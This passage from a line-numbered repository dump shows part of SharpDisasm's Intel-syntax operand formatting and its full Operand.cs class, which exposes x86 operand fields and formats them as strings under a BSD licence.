ud_mnemonic_code.UD_Ishr: 241 | case ud_mnemonic_code.UD_Isar: 242 | cast = 1; 243 | break; 244 | default: break; 245 | } 246 | } 247 | } 248 | gen_operand(insn, insn.Operands[0], cast); 249 | } 250 | 251 | if (insn.Operands.Length > 1 && insn.Operands[1].Type != ud_type.UD_NONE) 252 | { 253 | int cast = 0; 254 | Content.Append(", "); 255 | if (insn.Operands[1].Type == ud_type.UD_OP_MEM && 256 | insn.Operands[0].Size != insn.Operands[1].Size && 257 | !Udis86.udis86.ud_opr_is_sreg(ref insn.Operands[0].UdOperand)) 258 | { 259 | cast = 1; 260 | } 261 | gen_operand(insn, insn.Operands[1], cast); 262 | } 263 | 264 | if (insn.Operands.Length > 2 && insn.Operands[1].Type != ud_type.UD_NONE) 265 | { 266 | int cast = 0; 267 | Content.Append(", "); 268 | if (insn.Operands[2].Type == ud_type.UD_OP_MEM && 269 | insn.Operands[2].Size != insn.Operands[1].Size) 270 | { 271 | cast = 1; 272 | } 273 | gen_operand(insn, insn.Operands[2], cast); 274 | } 275 | 276 | if (insn.Operands.Length > 3 && insn.Operands[3].Type != ud_type.UD_NONE) 277 | { 278 | Content.Append(", "); 279 | gen_operand(insn, insn.Operands[3], 0); 280 | } 281 | } 282 | } 283 | } 284 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/Operand.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\operand.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using SharpDisasm.Udis86; 38 | using System; 39 | using System.Collections.Generic; 40 | using System.Diagnostics; 41 | using System.Linq; 42 | using System.Text; 43 | 44 | 45 | namespace SharpDisasm 46 | { 47 | /// 48 | /// Represents an operand for an 49 | /// 50 | public class Operand 51 | { 52 | internal ud_operand UdOperand; 53 | internal Operand(ud_operand operand) 54 | { 55 | UdOperand = operand; 56 | } 57 | 58 | /// 59 | /// The value of the memory displacement portion of the operand (if applicable) converted to Int64. See the Lval* properties for original value. 60 | /// 61 | public long Value 62 | { 63 | get 64 | { 65 | return Convert.ToInt64(RawValue); 66 | } 67 | } 68 | 69 | /// 70 | /// Returns the operand displacement value as its raw type (e.g. sbyte, byte, short, ushort, Int32, UInt32, long, ulong) depending on the operand type. 71 | /// If a memory operand, and no base/index registers, the result will be unsigned and contain bits, otherwise if there is a base and/or index register the value is signed with bits. 72 | /// If an immediate mode operand the value will be signed and the contain bits. 73 | /// Otherwise the result will be unsigned and if is > 0 will contain bits otherwise bits. 74 | /// 75 | public object RawValue 76 | { 77 | get 78 | { 79 | if (Type == ud_type.UD_OP_MEM) // Accessing memory 80 | { 81 | if (Base == ud_type.UD_NONE && Index == ud_type.UD_NONE) 82 | { 83 | return GetRawValue(Offset, false); 84 | } 85 | else 86 | { 87 | return GetRawValue(Offset, true); 88 | } 89 | } 90 | else if (Type == ud_type.UD_OP_IMM) // Immediate Mode (memory is not accessed) 91 | { 92 | return GetRawValue(Size, true); 93 | } 94 | 95 | return GetRawValue((Offset == 0 ? Size : Offset), false); 96 | } 97 | } 98 | 99 | private object GetRawValue(int size, bool signed = true) 100 | { 101 | switch (size) 102 | { 103 | case 8: 104 | return (signed ? (object)UdOperand.lval.@sbyte : (object)UdOperand.lval.ubyte); 105 | case 16: 106 | return (signed ? (object)UdOperand.lval.sword : (object)UdOperand.lval.uword); 107 | case 32: 108 | return (signed ? (object)UdOperand.lval.sdword : (object)UdOperand.lval.udword); 109 | case 64: 110 | return (signed ? (object)UdOperand.lval.sqword : (object)UdOperand.lval.uqword); 111 | default: 112 | return (long)0; 113 | } 114 | } 115 | 116 | /// 117 | /// The operand code 118 | /// 119 | public ud_operand_code Opcode { get { return UdOperand._oprcode; } } 120 | 121 | /// 122 | /// The operand type (UD_OP_REG, UD_OP_MEM, UD_OP_PTR, UD_OP_IMM, UD_OP_JIMM, UD_OP_CONST) 123 | /// 124 | public ud_type Type { get { return UdOperand.type; } } 125 | 126 | /// 127 | /// Size of the result of the operand 128 | /// 129 | public ushort Size { get { return UdOperand.size; } } 130 | 131 | /// 132 | /// Base register 133 | /// 134 | public ud_type Base { get { return UdOperand.@base; } } 135 | 136 | /// 137 | /// Index register 138 | /// 139 | public ud_type Index { get { return UdOperand.index; } } 140 | 141 | /// 142 | /// Scale applied to index register (2, 4, or 8). 0 == 1 == does nothing 143 | /// 144 | public byte Scale { get { return UdOperand.scale; } } 145 | 146 | /// 147 | /// For UD_OP_MEM operands, this represents the size of the memory displacement value (e.g. 8-, 16-, 32-, or 64- bits). 148 | /// This helps determine which "Lval*" value should be read (e.g. if Offset is 8 and operand type is UD_OP_MEM and Base register is not UD_NONE, read LvalSByte) 149 | /// 150 | /// 151 | /// for more detail about the rules governing which value is read. 152 | /// 153 | public byte Offset { get { return UdOperand.offset; } } 154 | 155 | /// 156 | /// Segment component of PTR operand 157 | /// 158 | public ushort PtrSegment 159 | { 160 | get { return UdOperand.lval.ptr_seg; } 161 | } 162 | 163 | /// 164 | /// Offset component of PTR operand 165 | /// 166 | public uint PtrOffset 167 | { 168 | get { return UdOperand.lval.ptr_off; } 169 | } 170 | 171 | #region Lval - displacement value as various sizes 172 | 173 | private long Lval { get { return UdOperand.lval.sqword; } } 174 | 175 | /// 176 | /// The displacement value as 177 | /// 178 | public sbyte LvalSByte 179 | { 180 | get { return (sbyte)Lval; } 181 | } 182 | 183 | /// 184 | /// The displacement value as 185 | /// 186 | public byte LvalByte 187 | { 188 | get { return (byte)Lval; } 189 | } 190 | 191 | /// 192 | /// The displacement value as 193 | /// 194 | public short LvalSWord 195 | { 196 | get { return (short)Lval; } 197 | } 198 | 199 | /// 200 | /// The displacement value as 201 | /// 202 | public ushort LvalUWord 203 | { 204 | get { return (ushort)Lval; } 205 | } 206 | 207 | /// 208 | /// The displacement value as 209 | /// 210 | public Int32 LvalSDWord 211 | { 212 | get { return (int)Lval; } 213 | } 214 | 215 | /// 216 | /// The displacement value as 217 | /// 218 | public UInt32 LvalUDWord 219 | { 220 | get { return (uint)Lval; } 221 | } 222 | 223 | /// 224 | /// The displacement value as 225 | /// 226 | public long LvalSQWord 227 | { 228 | get { return Lval; } 229 | } 230 | 231 | /// 232 | /// The displacement value as 233 | /// 234 | public ulong LvalUQWord 235 | { 236 | get { return (ulong)Lval; } 237 | } 238 | 239 | #endregion 240 | 241 | /// 242 | /// Converts the key components of the operand to a string. 243 | /// 244 | /// The operand in string format suitable for diagnostics. 245 | public override string ToString() 246 | { 247 | if (Type == ud_type.UD_OP_REG) 248 | { 249 | return String.Format("{0,-10}", String.Format("{0},", Base)); 250 | } 251 | else if (Type == ud_type.UD_OP_MEM) 252 | { 253 | string memSize = ""; 254 | switch (Size) 255 | { 256 | case 8: 257 | memSize = "BYTE "; 258 | break; 259 | case 16: 260 | memSize = "WORD "; 261 | break; 262 | case 32: 263 | memSize = "DWORD "; 264 | break; 265 | case 64: 266 | memSize = "QWORD "; 267 | break; 268 | } 269 | 270 | return String.Format("{0}{4}[{1}{2}{3:x}],", "", (Base == ud_type.UD_NONE ? "" : String.Format("{0}+", Base)), (Index == ud_type.UD_NONE ? "" : String.Format("({0}*{1})", Index, (Scale == 0 ? 1 : Scale))), PrintDisplacementAddress(), memSize); 271 | } 272 | else 273 | return String.Format("{0}{1}{2}{3:x},", "", (Base == ud_type.UD_NONE ? "" : String.Format("{0}+", Base)), (Index == ud_type.UD_NONE ? "" : String.Format("({0}*{1})", Index, (Scale == 0 ? 1 : Scale))), RawValue); 274 | } 275 | 276 | private string PrintDisplacementAddress() 277 | { 278 | if (Base == ud_type.UD_NONE && Index == ud_type.UD_NONE) 279 | { 280 | ulong v; 281 | Debug.Assert(Scale == 0 && Offset != 8); 282 | /* unsigned mem-offset */ 283 | switch (Offset) 284 | { 285 | case 16: v = LvalUWord; break; 286 | case 32: v = LvalUDWord; break; 287 | case 64: v = LvalUQWord; break; 288 | default: Debug.Assert(false, "invalid offset"); v = 0; /* keep cc happy */ 289 | break; 290 | } 291 | return String.Format("0x{0:x}", v); 292 | } 293 | else 294 | { 295 | long v; 296 | Debug.Assert(Offset != 64); 297 | switch (Offset) 298 | { 299 | case 8: v = LvalSByte; break; 300 | case 16: v = LvalSWord; break; 301 | case 32: v = LvalSDWord; break; 302 | default: Debug.Assert(false, "invalid offset"); v = 0; /* keep cc happy */ 303 | break; 304 | } 305 | if (v < 0) 306 | { 307 | return String.Format("-0x{0:x}", -v); 308 | } 309 | else if (v > 0) 310 | { 311 | return String.Format("{0}0x{1:x}", (Index != ud_type.UD_NONE || Base != ud_type.UD_NONE ? "+" : ""), v); 312 | } 313 | } 314 | return ""; 315 | } 316 | } 317 | } 318 | --------------------------------------------------------------------------------
34 | github.com/vmt/udis86
67 | Copyright (c) 2008, Vivek Thampi 68 |